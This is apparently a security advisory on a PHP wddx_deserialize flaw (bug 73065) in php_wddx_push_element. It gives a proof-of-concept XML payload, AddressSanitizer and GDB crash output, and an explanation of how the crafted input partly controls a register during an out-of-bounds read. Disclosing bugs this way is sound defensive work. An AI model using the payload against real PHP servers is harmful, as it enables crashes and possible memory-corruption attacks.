This vulnerability was discovered by Ke Liu of Tencent’s Xuanwu LAB.
-g -O0 -fsanitize=address
There are five similar issues in function php_wddx_push_element
, but I’ll just demonstrate one issue here. More proof-of-concept files are available at PHP BUG 73065.
<?php
$xml = <<<XML
<?xml version='1.0' ?>
<!DOCTYPE et SYSTEM 'w'>
<wddxPacket ven='1.0'>
<array>
<var Name="name">
<boolean value="keliu"></boolean>
</var>
<var name="1111">
<var name="2222">
<var name="3333"></var>
</var>
</var>
</array>
</wddxPacket>
XML;
$array = wddx_deserialize($xml);
var_dump($array);
?>
AddressSanitizer output the following exception information.
==47769==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
(pc 0x00000046fb9c bp 0x7ffc278e29b0 sp 0x7ffc278e2130 T0)
#0 0x46fb9b in __interceptor_strcmp.part.24 (php-src/sapi/cli/php+0x46fb9b)
#1 0xac41d4 in php_wddx_push_element php-src/ext/wddx/wddx.c:791:9
#2 0x7fa8715ac67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
#3 0x7fa8715ad38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
#4 0x7fa8715aecad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
#5 0x7fa8715af404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
#6 0x7fa8715b170a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
#7 0xac1717 in php_wddx_deserialize_ex php-src/ext/wddx/wddx.c:1081:2
#8 0xabad7a in zif_wddx_deserialize php-src/ext/wddx/wddx.c:1299:2
#9 0xfdfb3d in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675:2
#10 0xe75f4b in execute_ex php-src/Zend/zend_vm_execute.h:432:7
#11 0xe76ec3 in zend_execute php-src/Zend/zend_vm_execute.h:474:2
#12 0xd00e9e in zend_execute_scripts php-src/Zend/zend.c:1464:4
#13 0xad4425 in php_execute_script php-src/main/main.c:2537:14
#14 0x10fca26 in do_cli php-src/sapi/cli/php_cli.c:990:5
#15 0x10f9f60 in main php-src/sapi/cli/php_cli.c:1378:18
#16 0x7fa86fec582f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
#17 0x449578 in _start (php-src/sapi/cli/php+0x449578)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-src/sapi/cli/php+0x46fb9b) in __interceptor_strcmp.part.24
==47769==ABORTING
AddressSanitizer indicates that this is a NULL pointer dereference issue. However, if we debug it under GDB, we’ll find out that this can be a Out-Of-Bounds read issue.
(gdb) n
Program received signal SIGSEGV, Segmentation fault.
__strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
31 ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S: No such file or directory.
(gdb) x/i $rip
=> 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>: movdqu (%rdi),%xmm1
(gdb) i r $rdi
rdi 0x74656b6361507801 8387227955626014721
(gdb) x/20xb $rdi
0x74656b6361507801: Cannot access memory at address 0x74656b6361507801
To some degree, the value of rdi
register can be controlled. For example, value 0x74656b6361507801
can be expressed as \x01xPacket
. This can be controlled in the XML code in the proof-of-concept file.
>>> '74656b6361507801'.decode('hex')[::-1]
'\x01xPacket'
The code lead to this issue is listed as follows.
790 if (atts) for (i = 0; atts[i]; i++) {
791 if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
792 if (stack->varname) efree(stack->varname);
793 stack->varname = estrdup((char *)atts[i]);
794 break;
795 }
796 }
Testing data to trigger this issue is listed as follows.
atts[0] = 0x0000000000cf8699 "Name"
atts[1] = 0x0000000000cf783c "name" EL_NAME
atts[2] = 0x0000000000000000 NULL
atts[3] = 0x74656b6361507801 ????
Here atts[2]
was not checked in the for
loop but in the if
statement (checked when evaluating atts[++i]
). So when entering the if
statement next time, strcmp(atts[3], EL_NAME)
would cause an Out-Of-Bounds read issue.